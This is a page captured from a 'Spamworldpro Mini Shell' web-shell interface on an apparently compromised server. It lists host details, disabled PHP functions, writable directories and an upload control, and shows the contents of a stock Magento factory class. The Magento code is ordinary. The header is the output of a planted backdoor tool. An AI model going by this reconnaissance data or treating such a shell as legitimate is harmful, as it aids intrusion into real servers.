Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-instant-purchase/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-instant-purchase/Model/InstantPurchaseOptionFactory.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\InstantPurchase\Model;

use Magento\Customer\Model\Address;
use Magento\Framework\ObjectManagerInterface;
use Magento\Quote\Api\Data\ShippingMethodInterface;
use Magento\Vault\Api\Data\PaymentTokenInterface;

/**
 * Create instances of instant purchase option.
 *
 * @api
 * @since 100.2.0
 */
class InstantPurchaseOptionFactory
{
    /**
     * @var ObjectManagerInterface
     */
    private $objectManager;

    /**
     * InstantPurchaseOptionFactory constructor.
     * @param ObjectManagerInterface $objectManager
     */
    public function __construct(ObjectManagerInterface $objectManager)
    {
        $this->objectManager = $objectManager;
    }

    /**
     * Creates new instance.
     *
     * @param PaymentTokenInterface|null $paymentToken
     * @param Address|null $shippingAddress
     * @param Address|null $billingAddress
     * @param ShippingMethodInterface|null $shippingMethod
     * @return InstantPurchaseOption
     * @since 100.2.0
     */
    public function create(
        PaymentTokenInterface $paymentToken = null,
        Address $shippingAddress = null,
        Address $billingAddress = null,
        ShippingMethodInterface $shippingMethod = null
    ): InstantPurchaseOption {
        return $this->objectManager->create(InstantPurchaseOption::class, [
            'paymentToken' => $paymentToken,
            'shippingAddress' => $shippingAddress,
            'billingAddress' => $billingAddress,
            'shippingMethod' => $shippingMethod,
        ]);
    }

    /**
     * Creates new empty instance (no option available).
     *
     * @return InstantPurchaseOption
     * @since 100.2.0
     */
    public function createDisabledOption(): InstantPurchaseOption
    {
        return $this->create(null, null, null, null);
    }
}

Spamworldpro Mini